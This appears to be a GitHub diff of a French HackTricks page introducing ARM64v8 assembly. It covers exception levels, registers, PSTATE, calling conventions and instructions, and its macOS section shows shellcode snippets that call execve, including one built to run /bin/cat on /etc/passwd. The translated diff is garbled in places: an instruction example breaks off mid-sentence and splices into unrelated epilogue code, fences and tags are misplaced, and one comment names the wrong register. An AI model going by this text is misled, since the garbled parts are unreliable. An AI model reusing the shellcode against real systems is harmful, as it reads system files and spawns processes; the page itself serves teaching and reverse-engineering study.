mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 05:03:35 +00:00
Translated ['macos-hardening/macos-security-and-privilege-escalation/mac
This commit is contained in:
parent
6753d41cc8
commit
d41a88c95b
5 changed files with 172 additions and 139 deletions
BIN
.gitbook/assets/image (724).png
Normal file
BIN
.gitbook/assets/image (724).png
Normal file
Binary file not shown.
After Width: | Height: | Size: 11 KiB |
|
@ -143,7 +143,7 @@
|
||||||
* [macOS Security & Privilege Escalation](macos-hardening/macos-security-and-privilege-escalation/README.md)
|
* [macOS Security & Privilege Escalation](macos-hardening/macos-security-and-privilege-escalation/README.md)
|
||||||
* [macOS Apps - Inspecting, debugging and Fuzzing](macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md)
|
* [macOS Apps - Inspecting, debugging and Fuzzing](macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md)
|
||||||
* [Introduction to x64](macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/introduction-to-x64.md)
|
* [Introduction to x64](macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/introduction-to-x64.md)
|
||||||
* [Introduction to ARM64](macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
|
* [Introduction to ARM64v8](macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
|
||||||
* [macOS AppleFS](macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md)
|
* [macOS AppleFS](macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md)
|
||||||
* [macOS Bypassing Firewalls](macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md)
|
* [macOS Bypassing Firewalls](macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md)
|
||||||
* [macOS Defensive Apps](macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md)
|
* [macOS Defensive Apps](macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md)
|
||||||
|
|
|
@ -1,126 +1,137 @@
|
||||||
# Introduction à ARM64
|
# Introduction à ARM64v8
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Autres moyens de soutenir HackTricks :
|
Autres moyens de soutenir HackTricks :
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe télégramme**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## **Introduction à ARM64**
|
## **Niveaux d'exception - EL (ARM64v8)**
|
||||||
|
|
||||||
ARM64, également connu sous le nom de ARMv8-A, est une architecture de processeur 64 bits utilisée dans divers types d'appareils, y compris les smartphones, les tablettes, les serveurs et même certains ordinateurs personnels haut de gamme (macOS). C'est un produit d'ARM Holdings, une entreprise connue pour ses conceptions de processeurs économes en énergie.
|
Dans l'architecture ARMv8, les niveaux d'exécution, connus sous le nom de Niveaux d'Exception (ELs), définissent le niveau de privilège et les capacités de l'environnement d'exécution. Il existe quatre niveaux d'exception, allant de EL0 à EL3, chacun ayant un objectif différent :
|
||||||
|
|
||||||
### **Registres**
|
1. **EL0 - Mode Utilisateur** :
|
||||||
|
* C'est le niveau le moins privilégié et est utilisé pour exécuter le code d'application régulier.
|
||||||
|
* Les applications s'exécutant au niveau EL0 sont isolées les unes des autres et du logiciel système, améliorant la sécurité et la stabilité.
|
||||||
|
2. **EL1 - Mode Noyau du Système d'Exploitation** :
|
||||||
|
* La plupart des noyaux de systèmes d'exploitation fonctionnent à ce niveau.
|
||||||
|
* EL1 a plus de privilèges que EL0 et peut accéder aux ressources système, mais avec certaines restrictions pour assurer l'intégrité du système.
|
||||||
|
3. **EL2 - Mode Hyperviseur** :
|
||||||
|
* Ce niveau est utilisé pour la virtualisation. Un hyperviseur fonctionnant au niveau EL2 peut gérer plusieurs systèmes d'exploitation (chacun dans son propre EL1) fonctionnant sur le même matériel physique.
|
||||||
|
* EL2 offre des fonctionnalités pour l'isolation et le contrôle des environnements virtualisés.
|
||||||
|
4. **EL3 - Mode Moniteur Sécurisé** :
|
||||||
|
* C'est le niveau le plus privilégié et est souvent utilisé pour le démarrage sécurisé et les environnements d'exécution de confiance.
|
||||||
|
* EL3 peut gérer et contrôler les accès entre les états sécurisés et non sécurisés (comme le démarrage sécurisé, le système d'exploitation de confiance, etc.).
|
||||||
|
|
||||||
ARM64 dispose de **31 registres à usage général**, étiquetés de `x0` à `x30`. Chacun peut stocker une valeur **64 bits** (8 octets). Pour les opérations qui nécessitent uniquement des valeurs 32 bits, les mêmes registres peuvent être accédés en mode 32 bits en utilisant les noms w0 à w30.
|
L'utilisation de ces niveaux permet une gestion structurée et sécurisée des différents aspects du système, des applications utilisateur au logiciel système le plus privilégié. L'approche d'ARMv8 en matière de niveaux de privilège aide à isoler efficacement les différents composants du système, renforçant ainsi la sécurité et la robustesse du système.
|
||||||
|
|
||||||
1. **`x0`** à **`x7`** - Typiquement utilisés comme registres temporaires et pour passer des paramètres aux sous-routines.
|
## **Registres (ARM64v8)**
|
||||||
|
|
||||||
|
ARM64 dispose de **31 registres à usage général**, étiquetés de `x0` à `x30`. Chacun peut stocker une valeur de **64 bits** (8 octets). Pour les opérations qui nécessitent uniquement des valeurs de 32 bits, les mêmes registres peuvent être accédés en mode 32 bits en utilisant les noms w0 à w30.
|
||||||
|
|
||||||
|
1. **`x0`** à **`x7`** - Ils sont généralement utilisés comme registres temporaires et pour passer des paramètres aux sous-routines.
|
||||||
* **`x0`** transporte également les données de retour d'une fonction
|
* **`x0`** transporte également les données de retour d'une fonction
|
||||||
2. **`x8`** - Dans le noyau Linux, `x8` est utilisé comme numéro d'appel système pour l'instruction `svc`. **Dans macOS, c'est le x16 qui est utilisé !**
|
2. **`x8`** - Dans le noyau Linux, `x8` est utilisé comme numéro d'appel système pour l'instruction `svc`. **Dans macOS, c'est le x16 qui est utilisé !**
|
||||||
3. **`x9`** à **`x15`** - Autres registres temporaires, souvent utilisés pour les variables locales.
|
3. **`x9`** à **`x15`** - Autres registres temporaires, souvent utilisés pour les variables locales.
|
||||||
4. **`x16`** et **`x17`** - Registres temporaires, également utilisés pour les appels de fonction indirects et les stubs PLT (Procedure Linkage Table).
|
4. **`x16`** et **`x17`** - **Registres d'appel intraprocedural**. Registres temporaires pour les valeurs immédiates. Ils sont également utilisés pour les appels de fonction indirects et les stubs de la Table de Liaison de Procédure (PLT).
|
||||||
* **`x16`** est utilisé comme **numéro d'appel système** pour l'instruction **`svc`**.
|
* **`x16`** est utilisé comme **numéro d'appel système** pour l'instruction **`svc`** dans **macOS**.
|
||||||
5. **`x18`** - Registre de plateforme. Sur certaines plateformes, ce registre est réservé à des usages spécifiques à la plateforme.
|
5. **`x18`** - **Registre de plateforme**. Il peut être utilisé comme registre à usage général, mais sur certaines plateformes, ce registre est réservé à des utilisations spécifiques à la plateforme : Pointeur vers le bloc d'environnement de thread actuel dans Windows, ou pour pointer vers la structure de tâche en cours d'exécution dans le noyau Linux.
|
||||||
6. **`x19`** à **`x28`** - Ce sont des registres sauvegardés par l'appelé. Une fonction doit préserver la valeur de ces registres pour son appelant.
|
6. **`x19`** à **`x28`** - Ce sont des registres sauvegardés par l'appelé. Une fonction doit préserver les valeurs de ces registres pour son appelant, donc elles sont stockées dans la pile et récupérées avant de revenir à l'appelant.
|
||||||
7. **`x29`** - **Pointeur de cadre**.
|
7. **`x29`** - **Pointeur de cadre** pour suivre la trame de pile. Lorsqu'un nouveau cadre de pile est créé parce qu'une fonction est appelée, le registre **`x29`** est **stocké dans la pile** et la nouvelle adresse du pointeur de cadre (adresse **`sp`**) est **stockée dans ce registre**.
|
||||||
8. **`x30`** - Registre de lien. Il contient l'adresse de retour lorsqu'une instruction `BL` (Branch with Link) ou `BLR` (Branch with Link to Register) est exécutée.
|
* Ce registre peut également être utilisé comme **registre à usage général** bien qu'il soit généralement utilisé comme référence aux **variables locales**.
|
||||||
|
8. **`x30`** ou **`lr`**- **Registre de lien**. Il contient l'**adresse de retour** lorsqu'une instruction `BL` (Branch with Link) ou `BLR` (Branch with Link to Register) est exécutée en stockant la valeur **`pc`** dans ce registre.
|
||||||
|
* Il pourrait également être utilisé comme tout autre registre.
|
||||||
9. **`sp`** - **Pointeur de pile**, utilisé pour suivre le sommet de la pile.
|
9. **`sp`** - **Pointeur de pile**, utilisé pour suivre le sommet de la pile.
|
||||||
10. **`pc`** - **Compteur de programme**, qui pointe vers la prochaine instruction à exécuter.
|
* la valeur de **`sp`** doit toujours être maintenue au moins à une **alignement de quadword** ou une exception d'alignement peut se produire.
|
||||||
|
10. **`pc`** - **Compteur de programme**, qui pointe vers l'instruction actuelle. Ce registre ne peut être mis à jour que par la génération d'exceptions, les retours d'exception et les branches. Les seules instructions ordinaires qui peuvent lire ce registre sont les instructions de branchement avec lien (BL, BLR) pour stocker l'adresse **`pc`** dans **`lr`** (Registre de Lien).
|
||||||
|
11. **`xzr`** - **Registre zéro**. Aussi appelé **`wzr`** dans sa forme de registre **32** bits. Peut être utilisé pour obtenir facilement la valeur zéro (opération courante) ou pour effectuer des comparaisons en utilisant **`subs`** comme **`subs XZR, Xn, #10`** en stockant les données résultantes nulle part (dans **`xzr`**).
|
||||||
|
|
||||||
### **Convention d'appel**
|
Les registres **`Wn`** sont la version **32 bits** du registre **`Xn`**.
|
||||||
|
|
||||||
La convention d'appel ARM64 spécifie que les **huit premiers paramètres** d'une fonction sont passés dans les registres **`x0` à `x7`**. Les **paramètres supplémentaires** sont passés sur la **pile**. La valeur de **retour** est renvoyée dans le registre **`x0`**, ou également dans **`x1`** si elle fait **128 bits**. Les registres **`x19`** à **`x30`** et **`sp`** doivent être **préservés** lors des appels de fonction.
|
### Registres SIMD et à virgule flottante
|
||||||
|
|
||||||
Lors de la lecture d'une fonction en assembleur, recherchez le **prologue et l'épilogue de la fonction**. Le **prologue** implique généralement de **sauvegarder le pointeur de cadre (`x29`)**, de **configurer un nouveau pointeur de cadre**, et d'**allouer de l'espace sur la pile**. L'**épilogue** implique généralement de **restaurer le pointeur de cadre sauvegardé** et de **retourner** de la fonction.
|
De plus, il y a un autre **32 registres de 128 bits de longueur** qui peuvent être utilisés dans des opérations optimisées de données multiples à instruction unique (SIMD) et pour effectuer des calculs en virgule flottante. Ceux-ci sont appelés les registres Vn bien qu'ils puissent également fonctionner en **64** bits, **32** bits, **16** bits et **8** bits et sont alors appelés **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** et **`Bn`**.
|
||||||
|
|
||||||
|
### Registres Système
|
||||||
|
|
||||||
|
**il y a des centaines de registres système**, également appelés registres à usage spécial (SPRs), qui sont utilisés pour **surveiller** et **contrôler** le **comportement des processeurs**.\
|
||||||
|
Ils ne peuvent être lus ou définis qu'à l'aide de l'instruction spéciale dédiée **`mrs`** et **`msr`**.
|
||||||
|
|
||||||
|
Les registres spéciaux **`TPIDR_EL0`** et **`TPIDDR_EL0`** sont couramment utilisés lors de l'ingénierie inverse. Le suffixe `EL0` indique le **niveau d'exception minimal** à partir duquel le registre peut être accédé (dans ce cas, EL0 est le niveau d'exception (privilège) régulier avec lequel les programmes réguliers fonctionnent).\
|
||||||
|
Ils sont souvent utilisés pour stocker l'**adresse de base de la région de stockage local du thread** en mémoire. Habituellement, le premier est lisible et inscriptible pour les programmes fonctionnant en EL0, mais le second peut être lu à partir de EL0 et écrit à partir de EL1 (comme le noyau).
|
||||||
|
|
||||||
|
* `mrs x0, TPIDR_EL0 ; Lire TPIDR_EL0 dans x0`
|
||||||
|
* `msr TPIDR_EL0, X0 ; Écrire TPIDR_EL0 dans x1`
|
||||||
|
|
||||||
|
### **PSTATE**
|
||||||
|
|
||||||
|
**PSTATE** est plusieurs composants sérialisés dans le registre spécial **`SPSR_ELx`** visible par le système d'exploitation. Voici les champs accessibles :
|
||||||
|
|
||||||
|
* Les drapeaux de condition **`N`**, **`Z`**, **`C`** et **`V`** :
|
||||||
|
* **`N`** signifie que l'opération a donné un résultat négatif
|
||||||
|
* **`Z`** signifie que l'opération a donné zéro
|
||||||
|
* **`C`** signifie que l'opération a porté
|
||||||
|
* **`V`** signifie que l'opération a donné un débordement signé :
|
||||||
|
* La somme de deux nombres positifs donne un résultat négatif.
|
||||||
|
* La somme de deux nombres négatifs donne un résultat positif.
|
||||||
|
* En soustraction, lorsqu'un grand nombre négatif est soustrait d'un plus petit nombre positif (ou vice versa), et que le résultat ne peut pas être représenté dans la plage de la taille de bit donnée.
|
||||||
|
* Le drapeau de **largeur de registre actuelle (`nRW`)** : Si le drapeau a la valeur 0, le programme fonctionnera dans l'état d'exécution AArch64 une fois repris.
|
||||||
|
* Le **Niveau d'Exception actuel** (**`EL`**) : Un programme régulier fonctionnant en EL0 aura la valeur 0
|
||||||
|
* Le drapeau de **pas à pas unique** (**`SS`**) : Utilisé par les débogueurs pour effectuer un pas à pas unique en réglant le drapeau SS sur 1 à l'intérieur de **`SPSR_ELx`** par une exception. Le programme exécutera une étape et émettra une exception de pas à pas unique.
|
||||||
|
* Le drapeau d'état d'exception illégal (**`IL`**) : Il est utilisé pour marquer lorsqu'un logiciel privilégié effectue un transfert de niveau d'exception invalide, ce drapeau est réglé sur 1 et le processeur déclenche une exception d'état illégal.
|
||||||
|
* Les drapeaux **`DAIF`** : Ces drapeaux permettent à un programme privilégié de masquer sélectivement certaines exceptions externes.
|
||||||
|
* Les drapeaux de sélection du pointeur de pile (**`SPS`**) : Les programmes privilégiés fonctionnant en EL1 et au-dessus peuvent basculer entre l'utilisation de leur propre registre de pointeur de pile et celui du modèle utilisateur (par exemple, entre `SP_EL1` et `EL0`). Ce basculement est effectué en écrivant dans le registre spécial **`SPSel`**. Cela ne peut pas être fait à partir de EL0.
|
||||||
|
|
||||||
|
<figure><img src="../../../.gitbook/assets/image (724).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
## **Convention d'appel (ARM64v8)**
|
||||||
|
|
||||||
|
La convention d'appel ARM64 spécifie que les **huit premiers paramètres** d'une fonction sont passés dans les registres **`x0` à `x7`**. Les **paramètres supplémentaires** sont passés sur la **pile**. La **valeur de retour** est renvoyée dans le registre **`x0`**, ou dans **`x1`** également **si elle fait 128 bits**. Les registres **`x19`** à **`x30`** et **`sp`** doivent être **préservés** lors des appels de fonction.
|
||||||
|
|
||||||
|
Lors de la lecture d'une fonction en assembleur, recherchez le **prologue et l'épilogue de la fonction**. Le **prologue** implique généralement de **sauvegarder le pointeur de cadre (`x29`)**, de **mettre en place un nouveau pointeur de cadre**, et d'**allouer de l'espace sur la pile**. L'**épilogue** implique généralement de **restaurer le pointeur de cadre sauvegardé** et de **retourner** de la fonction.
|
||||||
|
|
||||||
### Convention d'appel dans Swift
|
### Convention d'appel dans Swift
|
||||||
|
|
||||||
Swift a sa propre **convention d'appel** qui peut être trouvée ici [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64)
|
Swift a sa propre **convention d'appel** qui peut être trouvée sur [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64)
|
||||||
|
|
||||||
### **Instructions courantes**
|
## **Instructions courantes (ARM64v8)**
|
||||||
|
|
||||||
Les instructions ARM64 ont généralement le **format `opcode dst, src1, src2`**, où **`opcode`** est l'**opération** à effectuer (comme `add`, `sub`, `mov`, etc.), **`dst`** est le registre de **destination** où le résultat sera stocké, et **`src1`** et **`src2`** sont les registres **source**. Des valeurs immédiates peuvent également être utilisées à la place des registres source.
|
Les instructions ARM64 ont généralement le **format `opcode dst, src1, src2`**, où **`opcode`** est l'**opération** à effectuer (comme `add`, `sub`, `mov`, etc.), **`dst`** est le registre **destination** où le résultat sera stocké, et **`src1`** et **`src2`** sont les registres **source**. Des valeurs immédiates peuvent également être utilisées à la place des registres source.
|
||||||
|
|
||||||
* **`mov`**: **Déplacer** une valeur d'un **registre** à un autre.
|
* **`mov`** : **Déplacer** une valeur d'un **registre** à un autre.
|
||||||
* Exemple : `mov x0, x1` — Cela déplace la valeur de `x1` vers `x0`.
|
* Exemple : `mov x0, x1` — Cela déplace la valeur de `x1` vers `x0`.
|
||||||
* **`ldr`**: **Charger** une valeur de la **mémoire** dans un **registre**.
|
* **`ldr`** : **Charger** une valeur de la **mémoire** dans un **registre**.
|
||||||
* Exemple : `ldr x0, [x1]` — Cela charge une valeur de l'emplacement mémoire pointé par `x1` dans `x0`.
|
* Exemple : `ldr x0, [x1]` — Cela charge une valeur de l'emplacement mémoire pointé par `x1` dans `x0`.
|
||||||
* **`str`**: **Stocker** une valeur d'un **registre** dans la **mémoire**.
|
* **`str`** : **Stocker** une valeur d'un **registre** dans la **mémoire**.
|
||||||
* Exemple : `str x0, [x1]` — Cela stocke la valeur dans `x0` à l'emplacement mémoire pointé par `x1`.
|
* Exemple : `str x0, [x1]` — Cela stocke la valeur dans `x0` à l'emplacement mémoire pointé par `x1`.
|
||||||
* **`ldp`**: **Charger une paire de registres**. Cette instruction **charge deux registres** depuis des emplacements mémoire **consécutifs**. L'adresse mémoire est typiquement formée en ajoutant un décalage à la valeur dans un autre registre.
|
* **`ldp`** : **Charger une paire de registres**. Cette instruction **charge deux registres** à partir d'**emplacements mémoire consécutifs**. L'adresse mémoire est généralement formée en ajoutant un décalage à la valeur dans un autre registre.
|
||||||
* Exemple : `ldp x0, x1, [x2]` — Cela charge `x0` et `x1` depuis les emplacements mémoire à `x2` et `x2 + 8`, respectivement.
|
* Exemple : `ldp x0, x1, [x2]` — Cela charge `x0` et `x1` des emplacements mémoire à `x2` et `x2 + 8`, respectivement.
|
||||||
* **`stp`**: **Stocker une paire de registres**. Cette instruction **stocke deux registres** dans des emplacements mémoire **consécutifs**. L'adresse mémoire est typiquement formée en ajoutant un décalage à la valeur dans un autre registre.
|
* **`stp`** : **Stocker une paire de registres**. Cette instruction **stocke deux registres** dans des **emplacements mémoire consécutifs**. L'adresse mémoire est généralement formée en ajoutant un décalage à la valeur dans un autre registre.
|
||||||
* Exemple : `stp x0, x1, [x2]` — Cela stocke `x0` et `x1` aux emplacements mémoire à `x2` et `x2 + 8`, respectivement.
|
* Exemple : `stp x0, x1, [x2]` — Cela stocke `x0` et `x1` aux emplacements mémoire à `x2` et `x2 + 8`, respectivement.
|
||||||
* **`add`**: **Ajouter** les valeurs de deux registres et stocker le résultat dans un registre.
|
* **`add`** : **Ajouter** les valeurs de deux registres et stocker le résultat dans un registre.
|
||||||
* Exemple : `add x0, x1, x2` — Cela ajoute les valeurs dans `x1` et `x2` et stocke le résultat dans `x0`.
|
* Exemple : `add x0, x1, x2` — Cela ajoute les valeurs dans `x1` et `x2` ensemble et stocke le résultat dans `x0`.
|
||||||
* **`sub`**: **Soustraire** les valeurs de deux registres et stocker le résultat dans un registre.
|
* **`sub`** : **Soustraire** les valeurs de deux registres et stocker le résultat dans un registre.
|
||||||
* Exemple : `sub x0, x1, x2` — Cela soustrait la valeur dans `x2` de `x1` et stocke le résultat dans `x0`.
|
* Exemple : `sub x0, x1, x2` — Cela soustrait la valeur dans `x2` de
|
||||||
* **`mul`**: **Multiplier** les valeurs de **deux registres** et stocker le résultat dans un registre.
|
|
||||||
* Exemple : `mul x0, x1, x2` — Cela multiplie les valeurs dans `x1` et `x2` et stocke le résultat dans `x0`.
|
|
||||||
* **`div`**: **Diviser** la valeur d'un registre par un autre et stocker le résultat dans un registre.
|
|
||||||
* Exemple : `div x0, x1, x2` — Cela divise la valeur dans `x1` par `x2` et stocke le résultat dans `x0`.
|
|
||||||
* **`bl`**: **Branche** avec lien, utilisée pour **appeler** une **sous-routine**. Stocke l'**adresse de retour dans `x30`**.
|
|
||||||
* Exemple : `bl myFunction` — Cela appelle la fonction `myFunction` et stocke l'adresse de retour dans `x30`.
|
|
||||||
* **`blr`**: **Branche** avec lien vers registre, utilisée pour **appeler** une **sous-routine** dont la cible est **spécifiée** dans un **registre**. Stocke l'adresse de retour dans `x30`.
|
|
||||||
* Exemple : `blr x1` — Cela appelle la fonction dont l'adresse est contenue dans `x1` et stocke l'adresse de retour dans `x30`.
|
|
||||||
* **`ret`**: **Retourner** de la **sous-routine**, typiquement en utilisant l'adresse dans **`x30`**.
|
|
||||||
* Exemple : `ret` — Cela retourne de la sous-routine actuelle en utilisant l'adresse de retour dans `x30`.
|
|
||||||
* **`cmp`**: **Comparer** deux registres et définir les drapeaux de condition.
|
|
||||||
* Exemple : `cmp x0, x1` — Cela compare les valeurs dans `x0` et `x1` et définit les drapeaux de condition en conséquence.
|
|
||||||
* **`b.eq`**: **Branche si égal**, basé sur l'instruction `cmp` précédente.
|
|
||||||
* Exemple : `b.eq label` — Si l'instruction `cmp` précédente a trouvé deux valeurs égales, cela saute à `label`.
|
|
||||||
* **`b.ne`**: **Branche si Non Égal**. Cette instruction vérifie les drapeaux de condition (qui ont été définis par une instruction de comparaison précédente), et si les valeurs comparées n'étaient pas égales, elle se branche vers un label ou une adresse.
|
|
||||||
* Exemple : Après une instruction `cmp x0, x1`, `b.ne label` — Si les valeurs dans `x0` et `x1` n'étaient pas égales, cela saute à `label`.
|
|
||||||
* **`cbz`**: **Comparer et Branche sur Zéro**. Cette instruction compare un registre avec zéro, et s'ils sont égaux, elle se branche vers un label ou une adresse.
|
|
||||||
* Exemple : `cbz x0, label` — Si la valeur dans `x0` est zéro, cela saute à `label`.
|
|
||||||
* **`cbnz`**: **Comparer et Branche sur Non-Zéro**. Cette instruction compare un registre avec zéro, et s'ils ne sont pas égaux, elle se branche vers un label ou une adresse.
|
|
||||||
* Exemple : `cbnz x0, label` — Si la valeur dans `x0` est non-zéro, cela saute à `label`.
|
|
||||||
* **`adrp`**: Calculer l'**adresse de page d'un symbole** et la stocker dans un registre.
|
|
||||||
* Exemple : `adrp x0, symbol` — Cela calcule l'adresse de page de `symbol` et la stocke dans `x0`.
|
|
||||||
* **`ldrsw`**: **Charger** une valeur **32 bits signée** de la mémoire et **l'étendre en signe à 64** bits.
|
|
||||||
* Exemple : `ldrsw x0, [x1]` — Cela charge une valeur 32 bits signée de l'emplacement mémoire pointé par `x1`, l'étend en signe à 64 bits, et la stocke dans `x0`.
|
|
||||||
* **`stur`**: **Stocker une valeur de registre à un emplacement mémoire**, en utilisant un décalage par rapport à un autre registre.
|
|
||||||
* Exemple : `stur x0, [x1, #4]` — Cela stocke la valeur dans `x0` à l'adresse mémoire qui est 4 octets plus grande que l'adresse actuellement dans `x1`.
|
|
||||||
*  **`svc`** : Effectuer un **appel système**. Cela signifie "Supervisor Call". Lorsque le processeur exécute cette instruction, il **passe du mode utilisateur au mode noyau** et saute à un emplacement spécifique dans la mémoire où se trouve le code de **gestion des appels système du noyau**.
|
|
||||||
* Exemple: 
|
|
||||||
|
|
||||||
```armasm
|
```armasm
|
||||||
mov x8, 93 ; Charger le numéro d'appel système pour exit (93) dans le registre x8.
|
ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment the stack pointer
|
||||||
mov x0, 0 ; Charger le code de statut de sortie (0) dans le registre x0.
|
|
||||||
svc 0 ; Effectuer l'appel système.
|
|
||||||
```
|
|
||||||
|
|
||||||
### **Prologue de fonction**
|
|
||||||
|
|
||||||
1. **Sauvegarder le registre de lien et le pointeur de cadre sur la pile**:
|
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
|
||||||
```armasm
|
|
||||||
stp x29, x30, [sp, #-16]! ; stocker la paire x29 et x30 sur la pile et décrémenter le pointeur de pile
|
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
2. **Configurer le nouveau pointeur de cadre** : `mov x29, sp` (configure le nouveau pointeur de cadre pour la fonction actuelle)
|
|
||||||
3. **Allouer de l'espace sur la pile pour les variables locales** (si nécessaire) : `sub sp, sp, <taille>` (où `<taille>` est le nombre d'octets nécessaires)
|
|
||||||
|
|
||||||
### **Épilogue de fonction**
|
3. **Retour** : `ret` (rend le contrôle à l'appelant en utilisant l'adresse dans le registre de lien)
|
||||||
|
|
||||||
1. **Désallouer les variables locales (si certaines ont été allouées)** : `add sp, sp, <taille>`
|
## État d'exécution AARCH32
|
||||||
2. **Restaurer le registre de lien et le pointeur de cadre** :
|
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
Armv8-A prend en charge l'exécution de programmes 32 bits. **AArch32** peut fonctionner dans **deux jeux d'instructions** : **`A32`** et **`T32`** et peut basculer entre eux via **`l'interfonctionnement`**.\
|
||||||
```armasm
|
Les programmes 64 bits **privilégiés** peuvent planifier l'**exécution de programmes 32 bits** en exécutant un transfert de niveau d'exception vers le 32 bits moins privilégié.\
|
||||||
ldp x29, x30, [sp], #16 ; charger la paire x29 et x30 de la pile et incrémenter le pointeur de pile
|
Notez que la transition de 64 bits à 32 bits se produit avec une baisse du niveau d'exception (par exemple, un programme 64 bits en EL1 déclenchant un programme en EL0). Cela se fait en réglant le **bit 4 du** **`SPSR_ELx`** registre spécial **à 1** lorsque le fil d'exécution du processus `AArch32` est prêt à être exécuté et le reste de `SPSR_ELx` stocke le CPSR des programmes **`AArch32`**. Ensuite, le processus privilégié appelle l'instruction **`ERET`** pour que le processeur passe à **`AArch32`** en entrant en A32 ou T32 selon le CPSR**.**
|
||||||
```
|
|
||||||
{% endcode %}
|
|
||||||
3. **Retourner** : `ret` (rend le contrôle à l'appelant en utilisant l'adresse dans le registre de lien)
|
|
||||||
|
|
||||||
## macOS
|
## macOS
|
||||||
|
|
||||||
|
@ -262,9 +273,14 @@ mov x16, #59 ; Move the execve syscall number (59) into x16.
|
||||||
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
|
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
|
||||||
|
|
||||||
```
|
```
|
||||||
|
```markdown
|
||||||
|
{% endtab %}
|
||||||
|
{% endtabs %}
|
||||||
|
|
||||||
#### Lire avec cat
|
#### Lire avec cat
|
||||||
|
|
||||||
L'objectif est d'exécuter `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, donc le deuxième argument (x1) est un tableau de paramètres (ce qui en mémoire signifie une pile des adresses).
|
L'objectif est d'exécuter `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, donc le deuxième argument (x1) est un tableau de paramètres (ce qui en mémoire signifie une pile des adresses).
|
||||||
|
```
|
||||||
```armasm
|
```armasm
|
||||||
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
|
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
|
||||||
.global _main ; Declare a global symbol _main
|
.global _main ; Declare a global symbol _main
|
||||||
|
@ -489,7 +505,7 @@ svc #0x1337
|
||||||
```
|
```
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Autres moyens de soutenir HackTricks :
|
Autres moyens de soutenir HackTricks :
|
||||||
|
|
||||||
|
